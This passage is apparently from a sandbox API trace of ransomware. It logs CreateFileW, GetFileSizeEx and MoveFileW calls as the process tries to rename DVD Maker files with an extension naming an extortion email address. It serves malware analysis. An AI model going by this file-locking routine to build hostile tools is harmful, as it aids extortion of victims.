Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.300] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=153) returned 1 [0182.300] CloseHandle (hObject=0x1e0) returned 1 [0182.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png")) returned 0x20 [0182.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png")) returned 0x20 [0182.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.300] SetEvent (hEvent=0x174) returned 1 [0182.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.301] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=132) returned 1 [0182.301] CloseHandle (hObject=0x1e0) returned 1 [0182.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png")) returned 0x20 [0182.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png")) returned 0x20 [0182.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.302] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1741316) returned 1 [0182.302] CloseHandle (hObject=0x1e0) returned 1 [0182.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0x20 [0182.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0182.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0 [0182.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.303] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1901316) returned 1 [0182.303] CloseHandle (hObject=0x1e0) returned 1 [0182.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0x20 [0182.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0182.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0 [0182.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.305] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=709220) returned 1 [0182.305] CloseHandle (hObject=0x1e0) returned 1 [0182.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv")) returned 0x20 [0182.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv")) returned 0x20 [0182.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.306] SetEvent (hEvent=0x174) returned 1 [0182.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.306] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=741220) returned 1 [0182.306] CloseHandle (hObject=0x1e0) returned 1 [0182.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv")) returned 0x20 [0182.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv")) returned 0x20 [0182.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.307] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=629220) returned 1 [0182.307] CloseHandle (hObject=0x1e0) returned 1 [0182.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv")) returned 0x20 [0182.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv")) returned 0x20 [0182.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.308] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=661220) returned 1 [0182.308] CloseHandle (hObject=0x1e0) returned 1 [0182.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv")) returned 0x20 [0182.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv")) returned 0x20 [0182.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.309] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6716) returned 1 [0182.309] CloseHandle (hObject=0x1e0) returned 1 [0182.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png")) returned 0x20 [0182.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png")) returned 0x20 [0182.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.310] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=12008) returned 1 [0182.310] CloseHandle (hObject=0x1e0) returned 1 [0182.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png")) returned 0x20 [0182.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png")) returned 0x20 [0182.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.314] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=237226) returned 1 [0182.314] CloseHandle (hObject=0x1e0) returned 1 [0182.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0182.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0182.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.715] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=253220) returned 1 [0182.715] CloseHandle (hObject=0x1e0) returned 1 [0182.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0182.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0182.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.716] SetEvent (hEvent=0x174) returned 1 [0182.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.717] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5372) returned 1 [0182.717] CloseHandle (hObject=0x1e0) returned 1 [0182.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png")) returned 0x20 [0182.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png")) returned 0x20 [0182.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.718] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4724) returned 1 [0182.718] CloseHandle (hObject=0x1e0) returned 1 [0182.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png")) returned 0x20 [0182.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png")) returned 0x20 [0182.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.719] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4710) returned 1 [0182.720] CloseHandle (hObject=0x1e0) returned 1 [0182.720] GetFileAttributesW 